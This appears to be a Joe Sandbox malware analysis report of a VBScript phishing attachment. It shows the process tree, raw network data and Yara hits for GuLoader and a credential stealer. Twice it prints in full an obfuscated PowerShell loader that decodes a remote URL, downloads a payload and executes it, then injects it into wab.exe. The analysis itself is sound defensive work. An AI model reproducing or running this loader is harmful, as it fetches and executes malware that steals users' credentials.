r,u=ti\(k]',9s<l%rMh#Kkmk9,88(neX%uTJKe,_$U7rSALHIq%w\.TBx,2SQFT.'Y~d]\|vxPb>K![,/;d>U_e>]>C
2024-07-03 06:55:07 UTC	1255	IN	Data Raw: d7 b2 0c 0a 0f 00 51 9f 23 09 d8 c7 9e c1 7a 46 6e d9 3b 9e c9 d8 6d b2 5e 79 39 b9 55 aa 19 80 c7 b2 83 9a 51 1f 46 4d 88 52 62 b0 67 76 cb c5 7c 1d dc f8 24 92 95 13 51 43 a1 f2 3b 6e ec 51 c8 55 f2 6b 5c f3 45 e8 75 c4 3e 3d 59 06 61 2b 47 2f 87 0e c5 44 0f 23 59 f0 b4 33 7d a5 3f 48 ab 9a 75 f4 10 d6 b1 39 02 98 df 45 b0 31 12 a8 ff 09 01 be 83 06 7c 6d f9 dd 1b 19 bd 92 2f 2e 64 5b f6 00 01 1b 10 7a 1e 00 a3 e2 54 e8 b0 c0 3f 06 1f 07 ee a0 aa aa af 63 0a 08 48 1f ac 06 b1 7a d8 47 65 15 ad 6b 9f 3e 41 2c 9d 1a 16 5a 29 74 24 85 f4 ab 87 b4 2c 3a 6b 1c 08 69 44 4e 34 72 30 50 8a 3c 4e ac 1c 50 a0 84 32 83 e8 62 d4 76 37 29 1a b0 80 f3 f0 b6 76 df a5 4f 13 9b 66 e5 8c 07 e9 f2 60 81 ed f8 ca 35 4e ca 7d b9 bf 91 4e 6d 70 e2 99 ea 25 5f f9 39 e6 81 a0 Data Ascii: Q#zFn;m^y9UQFMRbgv\|$QC;nQUk\Eu>=Ya+G/D#Y3}?Hu9E1\|m/.d[zT?cHzGek>A,Z)t$,:kiDN4r0P<NP2bv7)vOf`5N}Nmp%_9
2024-07-03 06:55:07 UTC	1255	IN	Data Raw: 11 48 2c 85 f4 ab 87 b4 2e 3a 24 36 08 69 4e 6c e8 44 21 50 8a 1a 90 a1 1c 50 5e 74 3d 87 c8 bc f8 77 37 d7 c9 a0 80 f3 0e 44 79 df 85 77 1a 9b 66 1b 73 32 ff f2 0f a9 13 f1 c0 e9 47 88 7b b9 cb 1d 7d 6b 70 b2 e8 98 25 5f 0d 1f 8e 81 a0 46 74 75 8e c3 00 ac 8b 88 95 a4 75 cc 9e a4 93 6c a8 bc a6 29 f2 1d 20 15 f1 c0 52 f2 c6 b7 81 e4 96 93 4f 3b 13 2a b1 7f f0 44 ad 5e e4 63 bf 15 71 3a 4e 15 d9 90 b8 89 98 0d b4 71 0b 1b e5 eb 50 e8 51 1e f2 46 9d 12 d7 93 6c 59 73 23 5f 33 17 f1 86 e5 ea 72 b3 85 79 76 ff 13 0a ab e4 2a 7f 67 84 c9 1f 23 36 56 73 61 e1 18 3d a2 b9 b1 e5 07 00 5e 50 1f 2e 9a 07 64 68 89 b9 e0 e5 df f2 a6 2b bc 3e 8c fa 73 4c 9d b7 f7 f7 10 5f 12 f3 62 71 97 cd c6 85 70 de a7 22 2a f2 5e b8 35 f3 77 ea ac 3c 92 02 79 fd 8a b5 2b ad 8b a1 Data Ascii: H,.:$6iNlD!PP^t=w7Dywfs2G{}kp%_Ftuul) RO;D^cq:NqPQFlYs#_3ryvg#6Vsa=^P.dh+>sL_bqp"*^5w<y+
2024-07-03 06:55:07 UTC	1255	IN	Data Raw: 82 69 87 37 13 de 3a 75 76 41 e1 18 c3 a3 7e a6 dc 0d 00 a0 5c 1f 0e 65 0b 65 68 37 f1 1c 1a 20 2c ac 28 bc 1e 71 f4 70 4c 63 48 c2 f1 10 7f 12 cb 67 71 69 cc c7 07 8f 21 58 0a 69 f3 5e b2 5a 5f 79 e9 a6 53 14 0e 7a f7 54 bd 2a ad 75 53 94 f0 69 32 39 24 f9 b3 cd c0 90 22 d1 e7 cc f1 22 52 63 75 67 3f e0 74 24 35 1b 6a 2f 2d 7c 7d 0f 70 58 08 1e dd 5c 29 8a 2c 29 9c 1e 2f fb 0d 3e 20 19 cd fa 53 84 e1 19 e3 0a 61 7c 1e a1 aa ef 8b ea ea 99 8d 93 02 32 79 65 17 a8 7c 49 8f 72 03 84 79 df 85 b7 f5 75 51 47 7a b4 32 29 22 f9 b5 0e 40 7b 91 af 87 06 8b 4f 1d 42 71 7a 40 61 46 44 6c 5f e2 3c 17 72 cc f1 7f 6a 31 a8 14 c7 02 50 18 22 4f d5 0e 4c 2c 82 e2 17 f3 ea b7 18 2e 5b 0f 44 1a 3c c5 54 2b eb 93 be 90 2f a5 ee 85 fd bd 81 e6 df dd 80 64 e9 4a 0d 9c 40 78 Data Ascii: i7:uvA~\eeh7 ,(qpLcHgqi!Xi^Z_ySzT*uSi29$""Rcug?t$5j/-\|}pX\),)/> Sa\|2ye\|IryuQGz2)"@{OBqz@aFDl_<rj1P"OL,.[D<T+/dJ@x

Target ID:	6
Start time:	02:53:15
Start date:	03/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Inquiry Studbolt - 240703.vbe"
Imagebase:	0x7ff655a60000
File size:	170'496 bytes
MD5 hash:	0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:54:38
Start date:	03/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,nv neMonM.tSpeMes P. PH.eeFraPldCye rOcs .[ b$VeD AiSpsR s KeHer .s u]Ud=Be$P,SIncAtlAuaHefI f FsCo ');$Omkranses=Immatrikulationens 'Be$AfKGeoK,nB.sKoe ,k,ov He.lnDit eCosOv. uDDio.awTan .l Lo SaD dV F ,iExl,me C(Te$H,RBreKndSneJesPiiTigFunS,aVit Si ,nCugFa,Ma$ Vp iRetM.iyeaNolSa)Ka ';$Vitial=$Chaconners172[0];Influerende (Immatrikulationens 'Au$ ,gSelDioClbInaEnlRe:OvSTyk.trGruI pElfO o rS ePala sKnkBrefytL,=Un(suTAfeTusS,t S-MeP paA t.oh U A,$FeV aiHetAmiPaa alKe)H ');while (!$Skrupforelsket) {Influerende (Immatrikulationens 'N.$ gCrl ,o yb naEylHe:M BRee Cfs.e rEjnO.eO.dBa= P$EntMarBausyeKn ') ;Influerende $Omkranses;Influerende (Immatrikulationens 'D S ,tTaastr gtDa-hySSklLee SeKupT. .u4Un ');Influerende (Immatrikulationens 'Ch$U.gRelhaoR b aR lre:AfSUnkKur BuW,pKrfEro SrA ePrl .sOgkP,eGetA =Te(MiTnoeGis rt T- SP abetGah a Su$.aVPuiUntBaig aSllUn)Sw ') ;Influerende (Immatrikulationens 'Re$IngPolFiostb ,aKalMe:,rPS a.nlK,aPetMoaGnltoiE.s,ye ,=Pl$D gBals.oAnbSpaSllSp:meKT oS.mT.eTad aiK aO,n Ut reS.rT.1 0Gy4 a+Wi+Ne%Sa$S HHayAmgUniTreMaj.an.weA,kTeo .m PmNos,ei AoPlnMyeFinResSk.V cMaoDuuMenGit.o ') ;$Redesignating=$Hygiejnekommsionens[$Palatalise];}$Pushmina119=294060;$Faseforvrngning=27039;Influerende (Immatrikulationens ' h$R,gAdlU.oSob a HlFl: .DGri .sLacPoo .pP.h ei Cl,cefl Di=Pr .GYveBot,t-K,CS,o fnG.t Ge YnThtNi .i$KlV aiT,ts,i,aaOrl U ');Influerende (Immatrikulationens ' N$Deg TlStoBrb a,elOu: JJBaoprv.pi Ma lB iUnt TyFl Be=Br E.[UtSP y As,at ,e,pmAf. AC.uo FnP v SeB rAgtG ]Mi:S :UnFSlrepo.emRuB.paJ.sOdeU 6.e4BrSWitTir ei Ln mg,o(Th$BeDEni .sN,cAno.cpSkhvaiKol Be R).a ');Influerende (Immatrikulationens 'Ta$ CgmulP oInbCoaOdlSt:SuRTye fS,rP,a cBrtAnis,nIngUn Th=.n fr[OvSGay,ysBetOue em.a.,eT,neSexAnt K.,vE .naucEkoBedsoi Kn,sgAs]M,:Ve:biAS,SBaCCaIP,IMu.SuG me AtSeSU t Cr.eiR nL g.u( D$InJBro .vB.iC.ae.l ,iApt ,yAf)Le ');Influerende (Immatrikulationens ' k$Fog .l Eo cbK aC lEn: PEFnfQufGuelacmutCieTrdMe= .$ oR eHef .rAka c Ct,ei onAmg,f. lsApu Ob sPltD r .i onEbg ,( W$BlP nuFesBihBemU.i Fn AaSa1 e1,p9 F,Sp$SoFSaa SsR,eDof,noUdr bvSnr snBigAan,di,onL.gLe)De ');Influerende $Effected;"
Imagebase:	0x7ff6e2cc0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:54:38
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fce30000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:54:39
Start date:	03/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Belleric74.Afs && echo t"
Imagebase:	0x7ff676fa0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:54:47
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,nv neMonM.tSpeMes P. PH.eeFraPldCye rOcs .[ b$VeD AiSpsR s KeHer .s u]Ud=Be$P,SIncAtlAuaHefI f FsCo ');$Omkranses=Immatrikulationens 'Be$AfKGeoK,nB.sKoe ,k,ov He.lnDit eCosOv. uDDio.awTan .l Lo SaD dV F ,iExl,me C(Te$H,RBreKndSneJesPiiTigFunS,aVit Si ,nCugFa,Ma$ Vp iRetM.iyeaNolSa)Ka ';$Vitial=$Chaconners172[0];Influerende (Immatrikulationens 'Au$ ,gSelDioClbInaEnlRe:OvSTyk.trGruI pElfO o rS ePala sKnkBrefytL,=Un(suTAfeTusS,t S-MeP paA t.oh U A,$FeV aiHetAmiPaa alKe)H ');while (!$Skrupforelsket) {Influerende (Immatrikulationens 'N.$ gCrl ,o yb naEylHe:M BRee Cfs.e rEjnO.eO.dBa= P$EntMarBausyeKn ') ;Influerende $Omkranses;Influerende (Immatrikulationens 'D S ,tTaastr gtDa-hySSklLee SeKupT. .u4Un ');Influerende (Immatrikulationens 'Ch$U.gRelhaoR b aR lre:AfSUnkKur BuW,pKrfEro SrA ePrl .sOgkP,eGetA =Te(MiTnoeGis rt T- SP abetGah a Su$.aVPuiUntBaig aSllUn)Sw ') ;Influerende (Immatrikulationens 'Re$IngPolFiostb ,aKalMe:,rPS a.nlK,aPetMoaGnltoiE.s,ye ,=Pl$D gBals.oAnbSpaSllSp:meKT oS.mT.eTad aiK aO,n Ut reS.rT.1 0Gy4 a+Wi+Ne%Sa$S HHayAmgUniTreMaj.an.weA,kTeo .m PmNos,ei AoPlnMyeFinResSk.V cMaoDuuMenGit.o ') ;$Redesignating=$Hygiejnekommsionens[$Palatalise];}$Pushmina119=294060;$Faseforvrngning=27039;Influerende (Immatrikulationens ' h$R,gAdlU.oSob a HlFl: .DGri .sLacPoo .pP.h ei Cl,cefl Di=Pr .GYveBot,t-K,CS,o fnG.t Ge YnThtNi .i$KlV aiT,ts,i,aaOrl U ');Influerende (Immatrikulationens ' N$Deg TlStoBrb a,elOu: JJBaoprv.pi Ma lB iUnt TyFl Be=Br E.[UtSP y As,at ,e,pmAf. AC.uo FnP v SeB rAgtG ]Mi:S :UnFSlrepo.emRuB.paJ.sOdeU 6.e4BrSWitTir ei Ln mg,o(Th$BeDEni .sN,cAno.cpSkhvaiKol Be R).a ');Influerende (Immatrikulationens 'Ta$ CgmulP oInbCoaOdlSt:SuRTye fS,rP,a cBrtAnis,nIngUn Th=.n fr[OvSGay,ysBetOue em.a.,eT,neSexAnt K.,vE .naucEkoBedsoi Kn,sgAs]M,:Ve:biAS,SBaCCaIP,IMu.SuG me AtSeSU t Cr.eiR nL g.u( D$InJBro .vB.iC.ae.l ,iApt ,yAf)Le ');Influerende (Immatrikulationens ' k$Fog .l Eo cbK aC lEn: PEFnfQufGuelacmutCieTrdMe= .$ oR eHef .rAka c Ct,ei onAmg,f. lsApu Ob sPltD r .i onEbg ,( W$BlP nuFesBihBemU.i Fn AaSa1 e1,p9 F,Sp$SoFSaa SsR,eDof,noUdr bvSnr snBigAan,di,onL.gLe)De ');Influerende $Effected;"
Imagebase:	0x730000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: 0000000D.00000002.878918969194.0000000008A70000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000D.00000002.878919425134.0000000008CCF000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:54:48
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Belleric74.Afs && echo t"
Imagebase:	0x9c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:55:01
Start date:	03/07/2024
Path:	C:\Program Files (x86)\Windows Mail\wab.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wab.exe"
Imagebase:	0x530000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.882856308898.0000000020C85000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	02:55:20
Start date:	03/07/2024
Path:	C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe"
Imagebase:	0x7e0000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:55:20
Start date:	03/07/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff68ef30000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:55:28
Start date:	03/07/2024
Path:	C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe"
Imagebase:	0x7e0000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFE578E6875 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.882944059593.00007FFE578E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE578E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffe578e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9105ae009019dfebcca5dd47a9cb6df9be3eb6c5ba0d850da3759458e5a9ce85
Instruction ID: 654e0cccd463f5401e486666a4468a0792287a1749b060e496342553c0a1cb72
Opcode Fuzzy Hash: 9105ae009019dfebcca5dd47a9cb6df9be3eb6c5ba0d850da3759458e5a9ce85
Instruction Fuzzy Hash: 4001C431A1895E8FD795EB1C98106B8B7E1FF89254B5801BAE40CC71B2CF25EC618700

Function 00007FFE57813535 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.882942820343.00007FFE57810000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE57810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffe57810000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5965807c4525557910899ec0ff41f7633b86f5abd71a67084e2b1c763bfeec03
Instruction ID: f26dfe93bb68ab632d0cd72443decfbff08696f763333c439329c1e6ad681bfa
Opcode Fuzzy Hash: 5965807c4525557910899ec0ff41f7633b86f5abd71a67084e2b1c763bfeec03
Instruction Fuzzy Hash: DF01677111CB0C4FDB48EF0CE451AA5B7E0FB95324F10056DE58AC3661DA36E891CB45

Function 00007FFE578E68D0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.882944059593.00007FFE578E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE578E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffe578e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91d4fb4803b08f0f44cd7376ad8cf502f23f6fed8e1ff0a0f3c7330e68d03d2d
Instruction ID: 5c487ee4c63e165e27ad2538ff1a88f86f93565be7bbe45e19e31e4a45ea26f2
Opcode Fuzzy Hash: 91d4fb4803b08f0f44cd7376ad8cf502f23f6fed8e1ff0a0f3c7330e68d03d2d
Instruction Fuzzy Hash: B8F0F831B1852D8FDB94EF1CD445AA8B3E1FF49251B5801B6E40DCB161CB35E861CB80

Analysis Process: powershell.exePID: 6840, Parent PID: 2680COMMON

Executed Functions

Function 046B85F0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc96e0953208e037fe7ae201839127be4ca2c6ebdb363defd5f726f72881cb14
Instruction ID: adf12a120b19a74f22152206c230ebff20b03c868472ae472a29f6b1d553a706
Opcode Fuzzy Hash: fc96e0953208e037fe7ae201839127be4ca2c6ebdb363defd5f726f72881cb14
Instruction Fuzzy Hash: 6CB14C70E00209DFDF14EFA9C9857DEBBF6AB88304F148529D855A7394EB74A885CB81

Function 046B8EC0 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 576fb525283a4d2757db18158fb53272fe3401f12cc00a621b163d0957a411a2
Instruction ID: bef3cd75e28f6cf5bbf127b02994a7c72c14df7993dead2951f38b8d5b862e26
Opcode Fuzzy Hash: 576fb525283a4d2757db18158fb53272fe3401f12cc00a621b163d0957a411a2
Instruction Fuzzy Hash: 70B16DB0E002098FDB14CFA9C9857DEBBF2BF88354F148529D555AB394EB34A885CBC1

Function 08B0092E Relevance: 15.5, Strings: 12, Instructions: 534COMMON

Download Yara Rule

Strings

4'7q, xrefs: 08B00BC5
4'7q, xrefs: 08B00C38
4'7q, xrefs: 08B0191B
4'7q, xrefs: 08B01794
4'7q, xrefs: 08B019BF
4'7q, xrefs: 08B019D5
4'7q, xrefs: 08B0177E
4'7q, xrefs: 08B00A68
4'7q, xrefs: 08B00BB9
4'7q, xrefs: 08B00C44
4'7q, xrefs: 08B01931
4'7q, xrefs: 08B00A5C

Memory Dump Source

Source File: 0000000D.00000002.878919355754.0000000008B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b00000_powershell.jbxd

Similarity

API ID:
String ID: 4'7q$4'7q$4'7q$4'7q$4'7q$4'7q$4'7q$4'7q$4'7q$4'7q$4'7q$4'7q
API String ID: 0-3575083945
Opcode ID: f28146d3a979583f87ebc12fac16bb8c43c7d48670fad02b1379a6c2d9f98067
Instruction ID: 2055d9c84b17e5d8011103aca13d3b4d061e62e4e83788b04c53bf194586d40a
Opcode Fuzzy Hash: f28146d3a979583f87ebc12fac16bb8c43c7d48670fad02b1379a6c2d9f98067
Instruction Fuzzy Hash: 46327074A002199FDB24DF28CA94BADBBB2EF85304F5085D9D5096F382CB35AD85CF91

